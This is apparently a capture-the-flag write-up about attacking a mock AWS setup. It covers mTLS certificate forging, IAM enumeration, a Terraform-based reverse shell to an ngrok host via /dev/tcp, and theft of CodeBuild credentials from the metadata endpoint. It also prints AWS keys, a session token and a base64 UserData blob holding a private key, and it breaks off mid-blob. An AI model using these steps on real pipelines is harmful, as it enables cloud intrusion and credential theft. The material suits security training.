Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.
Navigating to the provided URL shows us some very cute images of cats...and also some details about the cloud infrastructure we are meant to attack.
Under the section 2 quick steps to get your staging access , we are provided with 2 URLs:
The first URL generates 2 pre-signed URLS to access the S3 bucket, one for a client.csr , and one for a client.crt .
Upon navigating to these 2 URLs, the first one displays a Signature Mismatched error, and the second one an Access Denied error.
client.csr refers to a certificate request, which is a file that is used to generate a certificate, client.crt . This means that we're likely expected to upload client.csr , which would trigger a lambda function that helps us to generate client.crt for us to download.
First, generate a CSR with OpenSSL.
Copy openssl req -new -newkey rsa:2048 -nodes -keyout client.key -out client.csr Then use cURL to upload the file to the provided link.
Copy curl -X PUT -T ./client.csr '<url>' Now, we should be able to retrieve the generated client.crt from the second link.
With some references to mTLS (mutual TLS), we can assume that the second URL can only be accessed after configuring this in the browser.
First, generates the PKCS#12 file with OpenSSL with the client key and certificate.
Copy openssl pkcs12 -export -out client.p12 -inkey client.key -in client.crt On Chrome, Open Settings > Privacy > Security > Manage device certificates . Then click Import and select client.p12 .
You should be able to view the certificate in the list now.
Next, navigate to the second URL: https://13.213.29.24/ , ignore the security warning, and select the certificate you just uploaded when prompted.
After awhile, you should see a message that provides a set of AWS credentials.
Configure the credentials with aws configure and start enumerating the IAM.
First retrieve the username associated with the credentials.
Copy aws sts get-caller-identity
Copy {
"UserId" : "AIDATMLSTF3NSREARR67Q" ,
"Account" : "232705437403" ,
"Arn" : "arn:aws:iam::232705437403:user/agent-c3b4d98720524bd49f33ff88f28edcb1"
} Then retrieve the list of policies attached to the user.
Copy aws iam list-attached-user-policies --user-name agent-c3b4d98720524bd49f33ff88f28edcb1
Copy {
"AttachedPolicies" : [
{
"PolicyName" : "agent-c3b4d98720524bd49f33ff88f28edcb1" ,
"PolicyArn" : "arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1"
}
]
} Then retrieve the policy document to find out what permissions we have.
Copy aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1 --version-id v1
Copy {
"PolicyVersion" : {
"Document" : {
"Version" : "2012-10-17" ,
"Statement" : [
{
"Sid" : "VisualEditor0" ,
"Effect" : "Allow" ,
"Action" : [
"iam:GetPolicy" ,
"ssm:DescribeParameters" ,
"iam:GetPolicyVersion" ,
"iam:List*Policies" ,
"iam:Get*Policy" ,
"kms:ListKeys" ,
"events:ListRules" ,
"events:DescribeRule" ,
"kms:GetKeyPolicy" ,
"codepipeline:ListPipelines" ,
"codebuild:ListProjects" ,
"iam:ListRoles" ,
"codebuild:BatchGetProjects"
] ,
"Resource" : "*"
} ,
{
"Sid" : "VisualEditor2" ,
"Effect" : "Allow" ,
"Action" : [
"iam:ListAttachedUserPolicies"
] ,
"Resource" : "arn:aws:iam::232705437403:user/${aws:username}"
} ,
{
"Sid" : "VisualEditor3" ,
"Effect" : "Allow" ,
"Action" : [
"codepipeline:GetPipeline"
] ,
"Resource" : "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
} ,
{
"Sid" : "VisualEditor4" ,
"Effect" : "Allow" ,
"Action" : [
"s3:PutObject"
] ,
"Resource" : "arn:aws:s3:::devsecmeow2023zip/*"
}
]
} ,
"VersionId" : "v1" ,
"IsDefaultVersion" : true ,
"CreateDate" : "2023-09-18T15:16:44+00:00"
}
} The policy document states that we have the following permissions:
Permissions:
CodePipeline
GetPipeline - devsecmeow-pipeline
S3
PutObject - devsecmeow2023zip
Let's try enumerating CodePipeline .
Copy aws codepipeline get-pipeline --name devsecmeow-pipeline Analyzing the output, you should see that the pipeline takes in input from a rawr.zip in the devsecmeow2023zip S3 bucket.
Copy "configuration" : {
"PollForSourceChanges" : "false" ,
"S3Bucket" : "devsecmeow2023zip" ,
"S3ObjectKey" : "rawr.zip"
} It then runs the CodeBuild project devsecmeow-build .
Copy "configuration" : {
"ProjectName" : "devsecmeow-build"
} Next, we can use the batchGetProjects privilege to retrieve the CodeBuild configuration.
Copy aws codebuild batch-get-projects --name "devsecmeow-build" We can see that it spins up a container that contains the environment variable flag1.
Copy "environment" : {
"type" : "LINUX_CONTAINER" ,
"image" : "aws/codebuild/amazonlinux2-x86_64-standard:5.0" ,
"computeType" : "BUILD_GENERAL1_SMALL" ,
"environmentVariables" : [
{
"name" : "flag1" ,
"value" : "/devsecmeow/build/password" ,
"type" : "PARAMETER_STORE"
}
] ,
"privilegedMode" : false ,
"imagePullCredentialsType" : "CODEBUILD"
} According to the buildspec, the container runs the command terraform plan.
Copy "source" : {
"type" : "CODEPIPELINE" ,
"buildspec" : "version: 0.2\n\nphases:\n build:\n commands:\n - env\n - cd /usr/bin\n - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n - unzip -o terraform.zip\n - cd \"$CODEBUILD_SRC_DIR\"\n - ls -la \n - terraform init \n - terraform plan\n" ,
"insecureSsl" : false
} Now, there are 2 ways to achieve command execution to retrieve the first flag.
Using the terraform plan command to start a reverse shell
Writing a buildspec.yml file to override the default buildspec to run our own commands
We'll go with the first option for this writeup.
First, start a netcat listener and forward the port with ngrok.
Copy ngrok tcp 4444
nc -lvnp 4444 Then, write a terraform file test.tf and compress it into rawr.zip .
Copy data "external" "example" {
program = [ "sh" , "-c" , "/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/16243 0>&1" ]
} Next, upload rawr.zip to the S3 bucket to trigger the pipeline and you should receive a shell.
Copy aws s3 cp rawr.zip s3://devsecmeow2023zip/rawr.zip Run the env command to retrieve the flag, and you should also see some important information for our next steps.
Copy AWS_CONTAINER_CREDENTIALS_RELATIVE_URI = /v2/credentials/6dd200d9-28ae-4433-9df3-63b8a95d649e
CODEBUILD_ACTION_RUNNER_URL = https://codefactory-ap-southeast-1-prod-default-build-agent-executor.s3.ap-southeast-1.amazonaws.com/cawsrunner.zip
ECS_CONTAINER_METADATA_URI = http://169.254.170.2/v3/9f398293-6dd5-4141-bd8e-b0447f464c64
flag1 = TISC { pr0tecT_
CODEBUILD_SOURCE_VERSION = arn:aws:s3:::devsecmeow2023zip/devsecmeow-pipeline/source_out/Lkod3Lx.zip We can access the metadata endpoint with the credentials relative URI to retrieve the credentials associated with CodeBuild.
Copy curl http://169.254.170.2/v2/credentials/2e6a50e3-6432-4f9d-a751-d296c7dec0dd The endpoint responds with AWS credentials and a session token.
Copy ACCESS_KEY_ID=xxxx
SECRET_ACCESS_KEY=xxxx
SESSION_TOKEN=xxxx Configure a new AWS profile with aws configure --profile=devsecmeow or enter the following in .aws/credentials for us to enumerate further.
Copy [devsecmeow]
aws_access_key_id = ASIATMLSTF3NYTE4IK6D
aws_secret_access_key = GQwB7neoAja4PtBaE5jwXZIBCwwB+TylQmXKCDQp
aws_session_token = IQoJb3JpZ2luX2VjEBIaDmFwLXNvdXRoZWFzdC0xIkcwRQIgFACcfx2iAK/LVV/8/NAhzkFscoM3kn7JKclyWOCL9iACIQDIWU8Yr9rHJq5zhyuC36/njDxEx0xLUjBQziCmvdLmjiq1AwgbEAAaDDIzMjcwNTQzNzQwMyIMfjUxk5LXHLHl2ZMTKpIDCWzSzFOw2tD9uvJyaKxckq/FOFpmFuGZGl8SWIehekOMp9Y7XlUAmQe/rHssRmvsdLlOYvDtStKRoLnv76ElEEMkmBz/Kgva7Uu9wFfz9yY+hreJulONrmAQMptJvq908idUphAnfRWYHr08lV8D89/Ou68e/x7kxcM/wgM031NfU6ZsWuzcNelSv6qvaVcWewp6FH16s0mvrpISrqR2vi4UMZSfbcg51SQ/Cio3Jao7dcBKCxwosi5NvlSW/G1cNB3+moAFtgYPP+hF1IqDVH+r5LDbKqH+frRtuLw4DVICnNKOS1TU77E619ilr+6ZG2y4ZjKBZcQvQPSEDjIE4gAdeLHb+XpmJFT/FM9KR9AX9IhlEZwVnqRkD1tHIUtJQ+oDGziE6rQu1T66UQ8RKGso6/oQy5iuzvnplTHlEHvEc1dqQqpnFTkqG38obocpRZZolvTCuhR6KVI87YQmpkenM1N6vIvKiGWshe7Q4bR+xpUuWkaa1M2HbXnHdGNhzzeUYni7GOA3RHg506nCwUnfMPT966gGOpMBb6pWat7K8kGgJFZgcliN+UDNfInI0kaQgLZ6X4U5kItnCaJwCaX/dw0F2Ju1xLCxA8we/sPOMt2exgexzc3iKoqGnhvAyme1tTma4uKzmK4r9vVYhB9wJoeKBNLkT91hwPfHZRd6fGzpeCmW15hiK+lx7L7TVir0vG7g4d+HnS0GS2aNsFEL3H39OO3HvgJRiMzo Using this new profile to run any command that the profile does not have privileges for, we see that we are currently assuming the codebuild-role role
Using the previous credentials we can list all IAM policies.
Copy aws iam list-policies One of the policies stands out, iam_policy_for_ec2_production_role. Similarly, view the policy document.
Copy aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/iam_policy_for_ec2_production_role --version-id v1
Copy {
"PolicyVersion" : {
"Document" : {
"Statement" : [
{
"Action" : [
"s3:GetObject"
] ,
"Effect" : "Allow" ,
"Resource" : [
"arn:aws:s3:::devsecmeow2023flag2/index.html"
] ,
"Sid" : "VisualEditor0"
}
] ,
"Version" : "2012-10-17"
} ,
"VersionId" : "v1" ,
"IsDefaultVersion" : true ,
"CreateDate" : "2023-07-21T15:05:07+00:00"
}
} We can see that EC2 instances with a role with this policy attached are able to access the S3 bucket associated with flag2. Therefore we know that we have to take over a production EC2 instance.
As CodeBuild spins up an EC2 instance to build the source code, its credentials should carry permissions that allow us to enumerate or even access EC2. We can verify this by using the initial profile which has IAM permissions, to list the role policies assigned to our assumed role.
Copy aws iam list-role-policies --role-name codebuild-role
aws iam get-role-policy --role-name codebuild-role --policy-name policy_code_build
Copy {
"Action" : "ec2:DescribeInstance*" ,
"Effect" : "Allow" ,
"Resource" : "*"
} We see that we have the permission "ec2:DescribeInstance*" which means we could list all of the EC2 instances.
Copy aws ec2 describe-instances --profile devsecmeow The output of the command shows 2 EC2 instances, one each for staging and production (with the public IP 54.255.155.134 )
Navigating to https://54.255.155.134 shows us a a similar error regarding an invalid certificate. This likely means we have to configure mTLS again.
The action in the codebuild-role role policy, "ec2:DescribeInstance*", states that we could also list the attributes associated with the EC2 instances.
Enumerating the instance attributes, we find some useful information from the UserData attribute.
Copy aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData --profile devsecmeow
Copy {
"InstanceId" : "i-02602bf0cf92a4ee1" ,
"UserData" : {
"Value": "IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IHVwZ3JhZGUgLXkgCnN1ZG8gYXB0IGluc3RhbGwgbmdpbnggLXkKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkgCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L25naW54LmNvbmYKdXNlciB3d3ctZGF0YTsKd29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpwaWQgL3J1bi9uZ2lueC5waWQ7CmluY2x1ZGUgL2V0Yy9uZ2lueC9tb2R1bGVzLWVuYWJsZWQvKi5jb25mOwoKZXZlbnRzIHsKCXdvcmtlcl9jb25uZWN0aW9ucyA3Njg7CgkjIG11bHRpX2FjY2VwdCBvbjsKfQoKaHR0cCB7CgoJc2VuZGZpbGUgb247Cgl0Y3Bfbm9wdXNoIG9uOwoJdGNwX25vZGVsYXkgb247CglrZWVwYWxpdmVfdGltZW91dCA2NTsKCXR5cGVzX2hhc2hfbWF4X3NpemUgMjA0ODsKCglpbmNsdWRlIC9ldGMvbmdpbngvbWltZS50eXBlczsKCWRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07CgoJc2VydmVyIHsKCQlsaXN0ZW4gNDQzIHNzbCBkZWZhdWx0X3NlcnZlcjsKCQlsaXN0ZW4gWzo6XTo0NDMgc3NsIGRlZmF1bHRfc2VydmVyOwoJCXNzbF9wcm90b2NvbHMgVExTdjEgVExTdjEuMSBUTFN2MS4yIFRMU3YxLjM7IAoJCXNzbF9wcmVmZXJfc2VydmVyX2NpcGhlcnMgb247CgoJCXNzbF9jZXJ0aWZpY2F0ZSAgICAgICAgIC9ldGMvbmdpbngvc2VydmVyLmNydDsKCQlzc2xfY2VydGlmaWNhdGVfa2V5ICAgICAvZXRjL25naW54L3NlcnZlci5rZXk7CgkJc3NsX2NsaWVudF9jZXJ0aWZpY2F0ZSAgL2V0Yy9uZ2lueC9jYS5jcnQ7CgkJc3NsX3ZlcmlmeV9jbGllbnQgICAgICAgb3B0aW9uYWw7CgkJc3NsX3ZlcmlmeV9kZXB0aCAgICAgICAgMjsKCQlsb2NhdGlvbiAvIHsKCQkJCWlmICgkc3NsX2NsaWVudF92ZXJpZnkgIT0gU1VDQ0VTUykgeyByZXR1cm4gNDAzOyB9CgoJCQkJcHJveHlfcGFzcyAgICAgICAgICAgaHR0cDovL2ZsYWdfc2VydmVyOwoJCX0KCgkJYWNjZXNzX2xvZyAvdmFyL2xvZy9uZ2lueC9hY2Nlc3MubG9nOwoJCWVycm9yX2xvZyAvdmFyL2xvZy9uZ2lueC9lcnJvci5sb2c7Cgl9CgkKCWd6aXAgb2ZmOwoJaW5jbHVkZSAvZXRjL25naW54L2NvbmYuZC8qLmNvbmY7CglpbmNsdWRlIC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC8qOwp9CgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC9kZWZhdWx0Cgp1cHN0cmVhbSBmbGFnX3NlcnZlciB7CiAgICBzZXJ2ZXIJbG9jYWxob3N0OjMwMDA7Cn0Kc2VydmVyIHsKCWxpc3RlbiAzMDAwOwoKCXJvb3QgL3Zhci93d3cvaHRtbDsKCglpbmRleCBpbmRleC5odG1sOwoKCXNlcnZlcl9uYW1lIF87CgoJbG9jYXRpb24gLyB7CgkJIyBGaXJzdCBhdHRlbXB0IHRvIHNlcnZlIHJlcXVlc3QgYXMgZmlsZSwgdGhlbgoJCSMgYXMgZGlyZWN0b3J5LCB0aGVuIGZhbGwgYmFjayB0byBkaXNwbGF5aW5nIGEgNDA0LgoJCXRyeV9maWxlcyAkdXJpICR1cmkvID00MDQ7Cgl9Cgp9CkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9zZXJ2ZXIuY3J0Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEeHpDQ0FxOENGRjRzUVk0eHExYUF2Zmc1WWRCSk9yeHFyb0c1TUEwR0NTcUdTSWIzRFFFQkN3VUFNQ0F4CkhqQWNCZ05WQkFNTUZXUmxkbk5sWTIxbGIzY3RjSEp2WkhWamRHbHZiakFlRncweU16QTNNakV4TkRVd05ERmEKRncweU5EQTNNakF4TkRVd05ERmFNQ0F4SGpBY0JnTlZCQU1NRldSbGRuTmxZMjFsYjNjdWNISnZaSFZqZEdsdgpiakNDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFNWVJxTWMxdXNiUy80eW9KOXFXCjRReEh3RnlIeDZiN01raTR2VkpEOEdvTnlHVVdmVWxrc1VocTg0Wkk0WnBBbjc4dHZvVitsemVXUU53NFhFejIKWDNVM1hJN0FIRmVRWW84V0xjdmFvQWdqMFA3dU0xa2Jub1hVeDU0eXJhQnR5OTh1T0tMRHd1R0QyWk5NeVpqUgp5RTEwMDVlZWhQL21ydEg3NU43Zk44WlgyR0QzMC9IZ0RzM3dVY2ROMU45L0NHV0Y3czZ6U01OS0t5TGJnemQ0ClVsT0lZMWpDUU4wSnlSZlJpa3hmbXVLV2VFbFZDejQraVh2QzhpNjlxUkw0TjYzWDVUTTkwamo5S0l6MUtxY28KZ2tYK21XYVFTQUtrR0tRSTZjaFlqb1ZicVFqakY4MEtPOC8zV0FGY1h3aXIxQzJZNFpubUszWTlvNUo0T3lsbgpCNWVWUmtscXNkTHl2MUtWdTJ4czErZ3JLdEdldDQ5bi9TTk11TXdlc0ZtYjZ0UHMzaE04YUcwdi8wVzVlSVhiCnRCVnd1NFh3T2xJVFdvMVRlL3dtUC96YWk2RllseUxJRXBDRDZMSjkvc2FqcXhZdGFzbFNIbGdJanFUSTlWS28KbmFoRWJqOFhhN1RNck5GYnIyTlk1ejNvTHlwSUNycUUvelB1T2dNQk02RFg1Y25sZnFlQXdJVm5MNVF4UW9RZQpvY3dTRGVBWERJY05kekhlbFVDZ0JpU2pMdzA1NWh3TnNMeC9aUTZZdTdZNFMwaEUxQ1paM2crK1dvSC9rTHhpCmk2cEhvYVRIc0I0Tkl6NURZaVFFeWR5d3pqblg3RkFYcVl3ZjRpWllMSWlTOU02aVhYQjFPTUJndElOVnhnbEEKY0JVNTQrSTR1NGgvQ1VralBZUHM4eDExQWdNQkFBRXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBQ29DUVo1ZQo4YTRSZ01Pb2VxaWFpS0Y0eFZLOEtRR3RFVUtqSWVZVDRMSWVWRlJocEI1bS9SV3hqMmRzaEhOcjFiSldGUCtICmlyZWNVaXNxTGtwbUFaUlRHR2JLOThoTjFtdVY4NUxSc3lRVGZlc1ZOQ1Q4QXozZzBVVUZONnJRZE1vQXFuOTcKbEEvcEs0TjdOeGk3SERoYWlwWlE2dVBjR1ZRa3JjS09TY3hxN1kxSUoxTnEwcXBLbHJ4MlFJekIzcnBFMUNwbQplWVgxcUhxZ2ZMYytXR2J3RmZXRjlyYVNHMGJiTG1CK2tyWHRUVUVxb3JUdHI0UlVRM0pDaDBtb0o1VG9VZ3pjCnFhWWRLVjg3SmRBc2g4OERjOFI0eEV5K0NnbVAwVGVjc2R1NHZwK1FHTElGeUtWWFYxblBXRjJpaHo4WGVsTGUKS2lOaWk3YjZWNDNIU3JBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2VydmVyLmtleQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tCk1JSUpLUUlCQUFLQ0FnRUF4aEdveHpXNnh0TC9qS2duMnBiaERFZkFYSWZIcHZzeVNMaTlVa1B3YWczSVpSWjkKU1dTeFNHcnpoa2pobWtDZnZ5MitoWDZYTjVaQTNEaGNUUFpmZFRkY2pzQWNWNUJpanhZdHk5cWdDQ1BRL3U0egpXUnVlaGRUSG5qS3RvRzNMM3k0NG9zUEM0WVBaazB6Sm1OSElUWFRUbDU2RS8rYXUwZnZrM3Q4M3hsZllZUGZUCjhlQU96ZkJSeDAzVTMzOElaWVh1enJOSXcwb3JJdHVETjNoU1U0aGpXTUpBM1FuSkY5R0tURithNHBaNFNWVUwKUGo2SmU4THlMcjJwRXZnM3JkZmxNejNTT1Awb2pQVXFweWlDUmY2WlpwQklBcVFZcEFqcHlGaU9oVnVwQ09NWAp6UW83ei9kWUFWeGZDS3ZVTFpqaG1lWXJkajJqa25nN0tXY0hsNVZHU1dxeDB2Sy9VcFc3Ykd6WDZDc3EwWjYzCmoyZjlJMHk0ekI2d1dadnEwK3plRXp4b2JTLy9SYmw0aGR1MEZYQzdoZkE2VWhOYWpWTjcvQ1kvL05xTG9WaVgKSXNnU2tJUG9zbjMreHFPckZpMXF5VkllV0FpT3BNajFVcWlkcUVSdVB4ZHJ0TXlzMFZ1dlkxam5QZWd2S2tnSwp1b1QvTSs0NkF3RXpvTmZseWVWK3A0REFoV2N2bERGQ2hCNmh6QklONEJjTWh3MTNNZDZWUUtBR0pLTXZEVG5tCkhBMnd2SDlsRHBpN3RqaExTRVRVSmxuZUQ3NWFnZitRdkdLTHFrZWhwTWV3SGcwalBrTmlKQVRKM0xET09kZnMKVUJlcGpCL2lKbGdzaUpMMHpxSmRjSFU0d0dDMGcxWEdDVUJ3RlRuajRqaTdpSDhKU1NNOWcrenpIWFVDQXdFQQpBUUtDQWdFQWppcWV1bDRXY2grQXpiVGs1a0RseDZxNHA3SE4zRXp4Q3NHUElqMGhrdjNSbUwxTHNDSldIV1NtCjV2dm84bzd3R29qNjkxYWxzNEJsamF2bWxGZENyUi9QajZiVXNRVXh1UUp5WEovUHZnZjNPd1ErVnZjOEVWTm8KOUdQcnUvc1RHbDVTeUlFNm9DUERSN2NWL0ZxWEt3RnYzcVFwVW9TQmRyY1d6K0hvWnJVbTJuTUg3ZFNreTZ4egpCbHNYTUZROThxRHZoKzJuaklUdjhWVWVHZktESlBJQVhQVVJHWmFzZ0N3bTJDckhRVncvZW1OUWJwejBrYUNiCnRIRHRxbS8vaHdndnUxZmtUSU5wVjhPaG1kbTVxQVBXbDRkNEtHMGdRcDBqTUdwZjRkaW91M2hFM1NjN1IwcUMKSUhmc3ZveVcveU44eXJvcTkvUEdOSnVYMjEvWVVmQWtta3JvcGxneWtxNGZ3ZFlEcXFYcnYzRVE0WnAwalRRNAozUGVvTlZPTVlBTlZvU3dZL2Zvajl5d1hZUGxLUy9pZW5TUGdtblVFd2VXUk1NeW5LOWNoWUY1WHlCY0hLWVROCjRXbEJuQTl1SERxdE93L09GbVJwOXFabnN2OG5GaWFVVkxXY2xSRzdPdjRVbXVhbis3V2Mybzdja05iZTY3ZTMKdmt5Q0t1cDRiTTFZMnJISWhrSGdmZXVhb1NjbVNmMHBOYzA2VUlFZVE1VXNzMmJKYm9ZeGtTeldkVkhFQWhidwpmTXB5R1dMV3EzaVFOU3lsNEVLd2lJUWFzUktFcEhUN2RTcTJhTjVCZCt6N2w4eTVzNUNtYlVqTk9Gem1NZHhVCjFnRHZKVFE2M3ZPV1FoR2FlUDRiWTY1N0crbEJhVjZFT2ZlbHNQMGRZdCtZUnBpWWNBRUNnZ0VCQVBsUWJRN0oKOCtDSmZ2aFNUVWR6YnNrdGZObUVoendDdUJYYkZQV1pRdlhiWkpaUXpHWFRGTTM2MFpUUFNyMnlXMkQ2TnlMdgpsc2toTktmWEVSbHNub0drK0FuOUl1VUVKQlpnaDhEODhnb0xhL2JjTUxZVldKNVg3cFZ5dlRpZEtTQnc5V2cvCllWZDBqdVFXdVBTQjRLMW1IWnhuZk1JSHNDWWNMcXZ5QTlPSFJJbmFiN3F2K0o0QXh0MnJudTd1ajFSVnJaMVoKQnd3ZmtQNEtveStHcmUxalhuVTRuMkV6RjlSWmdjcXAxZ1JRS3I2V0xDVlQ1c2RQSWZGV1NDSWZEREtxaHdRSgpKU0toL0ttK09NWndGZXNXbFVSOW0rNk1RbGJRZ2JoWCsvKzRxdGIrdGttNXZ5OFVzRDdBZ2RJMTIxRlpkSlRVCkx5QlEwNnlreFJoOGt5VUNnZ0VCQU10aGJiQ0d4cStCaGNRbFNtUU9jTXdaVncwMVhsQnQxcDN0L2ZNVFhGVGwKdE9tWExjQlM4SHhOclMxS0V2alovZmJMU2tLdVdyRi93SlRtb0FEYVlCa1hId2lpMko5blBLVk9mVlZmSlZBVAp3bDlCcllZSzRTK3lqeHBFY3I2VFhPN1JGRmNpS3MyWlhhdkJvUU9ObEhLNlZUb2o4SUhzV3VoUXZFYjVOcmp4CnVaSkxMd0lnOXB5ODZNYStMd1FmU25ycWJGaFowMFlORVJrTkxqblZCNFNDd3MzZHR2Z2JxYjc0b20xVjhveUoKSk1GNSsvYStWYXpENmJJVjhRdUo3SHZqWWRLOWdWWS9UcFV1S3UvaldtVVkxR0phSmRORU42ajlLdk1MdUozYgpqbmd2YWpGRENoMnBDM1h3a3hNcGFBNzBMWk5jZ1R3cElqeDFBdFNrZUJFQ2dnRUFCdkZQYUNjRmpJNG5wQUNlCnVFdWxuU0tRSkhxRlRZMkIxTkg1L25EYkpYK0xpSWdOZVJSc3N1TzJMRit0WkNUd1dIMy9SUkRJOFNia2tYdnkKdFBPS1ltL1duR2laTFNsMVc4NHFXWnh4blFmK1pLeHpDczhEWGIxekhtUklrcWdGdWlxTEd2RVE0OStTRHhYMgo1cEFyVW9qU2NFV05ldFc5K1FHMTV3SGhTMldyNmU3VVI2Mll6Y1dWeEJ5QVc0VDNKdEVQK1o2K0RIOWdpVUtBCmt0VThTSzBJdDFqeFQwS2Qra0xYMDIzeFVNTnV2VW52UnNiVVdWNkJ3bmUxb0lXZTBGWmhWaUp2RDB6VmZXQ1gKc2lieTVVNEdzQmFUWGd3MzJMVUx0N2R6aEFaL2MyYzZha2txNHNPL3VLK2hyZG5rRnByWUhVRGZZeFg5SHdTagpuRy96cFFLQ0FRRUFydUlPVWpieWJrUXY1Q1EwdmFqMU1XdXd3VGpjNnNnb1BoRkJ4MTBramhRZjVxVUt3RkFSClhySGtjZ2M2SFNaR0RZdHRSYjFyV3lvQlRZaXFtVkV1UlNUdW1KeC9MVUsya1diV3V5eGZoMllXUTViVVFXamwKamdBNnNWbWVXV1dhQ2ZsYlJqbXBHTFlDS0FrT0RXSVcvamhmeE9qV2pNSFN3ZVY2b0lUM216eXdWNjJ5dEYvbgo3NHM1bG53L0xZcENuME1vK3lmeVZsQXlIWnFKMzB6aGMvNkV5RVVZYW14UElGbm9RYUFnT3R4SzhOdVYzK3gyCisySlRkOEVLVHVQQXFCODBKT1N6YkpodldEUWswN1pxS25pWldDRXdXV1JWZ0VpQ1FCQWFKaE4vaExVdzJUOU8KV1liY3hnT2lWRjNNanQ5RXVXeFg3SVZxWFJZNDR1U3lJUUtDQVFCZ0pyd1FScFovSVNzeEptMmZKWElqc2V6UQpNUHhGZU1FUU1ENXRqaU51MXlYdFlJVFJIZy9HK2NGdkdIVmc0UExXN1owOTM0TjEyeFdycElBdE00QmxDMlpzCklMSitmQjNxWkZMb01KS21zWndWSFphd1hpZGk3d25RQVN2cFlEaXhTOTlYQjJlY2NRR2dpeVRmTVU1UXdPVjYKUGtvZmhqeWVCYlNwekZ0cHRIekpGdUVpdy8ycmRrd0xFWkdQT2k4elArNVQybTdDeWFVdWppb3o3b3B1U3JFcgp3dnA5YXl6TFRXWnRuK2hJTDhIVE9WRmp6VHhuTjNXQ2JiUlB1R3A3TFlSNnI0UmQyRVM3dHFaaFV1UnFza05FCjNuR1RRNlFLNTBqdFZXQjl4b3NKbzRoZEFFS1krOW14NmlaUUp4bEFmOWJuaURoWkVpdWJ4RjhxcXMxSAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQoKRU9MCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L2NhLmNydAotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJRElUQ0NBZ21nQXdJQkFnSVVRM1NOL0ljN1QyeDF2NmNBNmdLUFV4TlNsTmd3RFFZSktvWklodmNOQVFFTApCUUF3SURFZU1Cd0dBMVVFQXd3VlpHVjJjMlZqYldWdmR5MXdjbTlrZFdOMGFXOXVNQjRYRFRJek1EY3lNVEUwCk5UQTBNRm9YRFRJME1EY3lNREUwTlRBME1Gb3dJREVlTUJ3R0ExVUVBd3dWWkdWMmMyVmpiV1Z2ZHkxd2NtOWsKZFdOMGFXOXVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXhOa3NrYmI3bnFSRApuVk1GSnJXUVVZdUNVUnlZam5jR1ZaVEVGek8xY09PRUFSMzVEbWNSdVZnV1RBQ1VKZFJScWI2bEwvN1ZiZmdtCjFUVjh2ajd4L3FOY2lFdmQ0L056b3RsQlhZQ1hKTGlsTEZVeWR4dUVxenB4WDlmQ0d4UUowbnNLRHN3WXVVcGkKN2lyZTk1Mnk4WUFsdS9EQUFwZndtL0s4clMyZWR2dkoyMndyMVF6bm1FSWVkZjNHRkkzZ2lGZ3lpQjgxYm1xcwpXK3ZMd2Q1OTlzZVNWYzQ4c200VmRJYncxS3hRclFWVTlSd3I3VnlSN2ZyRklpdFBJcFRSZkQ2UC92WkFaU21kCmljUEFxKzJpREdqMVlFeTRBZlJzbithaDdYUXFwNVpDNGlaY2NaaWRIR1ZsSFNtc0RYcUoya3B3ZXVZb1ZDenkKSGpNSXVQcWtEd0lEQVFBQm8xTXdVVEFkQmdOVkhRNEVGZ1FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4dwpId1lEVlIwakJCZ3dGb0FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4d0R3WURWUjBUQVFIL0JBVXdBd0VCCi96QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUF1bTQxUjQ2ajZPbHFtcWR2RWd0M0Q1cENzVGE3ZndmYnZkcXAKRmdTbHNHcnd0UnpBeEVUWVBqNmQra1lsaUZJL1o0NnRFM3gxNUY1emlzUFBUM0YvSGpxekxQSkJ2Q1FXamlIVworblJuaXFuNU96d2dDc0tCOGtJVk8wMXRFMDJpYld5SXpMMTVzOEl2ek5UREgvV1VVZjFZdk4vUUtydnI3TkMxCmZHdWkvMzR3L1Npa2MxY2t1YXlPTTZCNnloZjJXb0N0Qy90eGFHQnhTYTk1dHFTQUR4aXcyWDRydTd2dURxSk8KVE5WWnJVM0lrRENVaFJTeHZjZXNtNG9mMEIyMUdDbXBjVUFVNzVBK1VGM3NsOGpGVE5mOG9NRlp6VzE3VzRiZwp0TWRhZDJQdmw5SUwzYldqVDB1V01PVTd1RldIUkZDS0VWcnpDeko2c1VkeWFtd3NMZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KCkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9jYS5rZXkKLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2d0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktrd2dnU2xBZ0VBQW9JQkFRREUyU3lSdHZ1ZXBFT2QKVXdVbXRaQlJpNEpSSEppT2R3WlZs